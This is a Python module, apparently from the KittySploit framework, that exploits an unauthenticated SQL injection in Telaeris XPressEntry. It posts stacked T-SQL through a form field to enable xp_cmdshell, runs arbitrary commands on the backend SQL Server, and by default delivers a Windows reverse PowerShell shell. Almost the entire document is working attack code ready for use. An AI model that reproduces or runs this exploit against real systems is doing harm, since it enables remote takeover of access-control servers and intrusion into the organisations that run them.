Telaeris XPressEntry unauthenticated SQLi RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Telaeris XPressEntry unauthenticated SQL injection to xp_cmdshell."""

from __future__ import annotations

import uuid
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Telaeris XPressEntry unauthenticated SQLi RCE",
        "description": (
            "Unauthenticated POST /activities injects stacked T-SQL via sNotes to "
            "enable xp_cmdshell and run attacker commands on the backend SQL Server."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.WINDOWS,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/windows/reverse_powershell",
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["telaeris", "sqli", "rce", "unauth"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/telaeris_unauth_sqli_rce_detect"],
            },
        },
    }

    port = OptPort(80, "XPressEntry HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=False)

    @staticmethod
    def _build_snotes(command: str) -> str:
        ts = "2026-07-23 00:00:00"
        marker = r"C:\Windows\Temp\xpe_http_rce_marker.txt"
        stacked = (
            "COMMIT; "
            "EXEC sp_configure 'show advanced options',1; RECONFIGURE; "
            "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; "
            "CREATE TABLE xpe_rce_out (id INT IDENTITY(1,1), line NVARCHAR(MAX)); "
            f"INSERT INTO xpe_rce_out(line) EXEC xp_cmdshell '{command}'; "
            f"EXEC xp_cmdshell 'echo XPE_HTTP_RCE_OK > {marker}'; "
        )
        return f"x','{ts}','{ts}'); {stacked}-- "

    def execute(self, cmd: str) -> str:
        badge = "xpe-" + uuid.uuid4().hex[:8]
        fields = {
            "request": "verify",
            "badge_no": badge,
            "user_id": "1",
            "reader_id": "1",
            "zone_id": "1",
            "timestamp": "2026-07-23 00:00:00",
            "message_content": self._build_snotes(cmd),
        }
        body = "&".join(f"{k}={quote(str(v), safe='')}" for k, v in fields.items())
        resp = self.http_request(
            "POST",
            "/activities",
            data=body,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
        )
        if not resp:
            return "request failed"
        return f"HTTP {resp.status_code} {(resp.text or '')[:2000]}"

    def check(self):
        resp = self.http_request("GET", "/")
        if resp and int(resp.status_code or 0) < 500:
            return {
                "vulnerable": True,
                "reason": "XPressEntry HTTP surface reachable",
                "confidence": "low",
            }
        return {"vulnerable": False, "reason": "HTTP service not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        print_status("Enqueueing SQLi via POST /activities")
        print_info(self.execute(shell)[:8000])
        print_success("Injection queued — xp_cmdshell runs asynchronously; use reverse payload or verify marker file")
        self.vulnerable()
        return True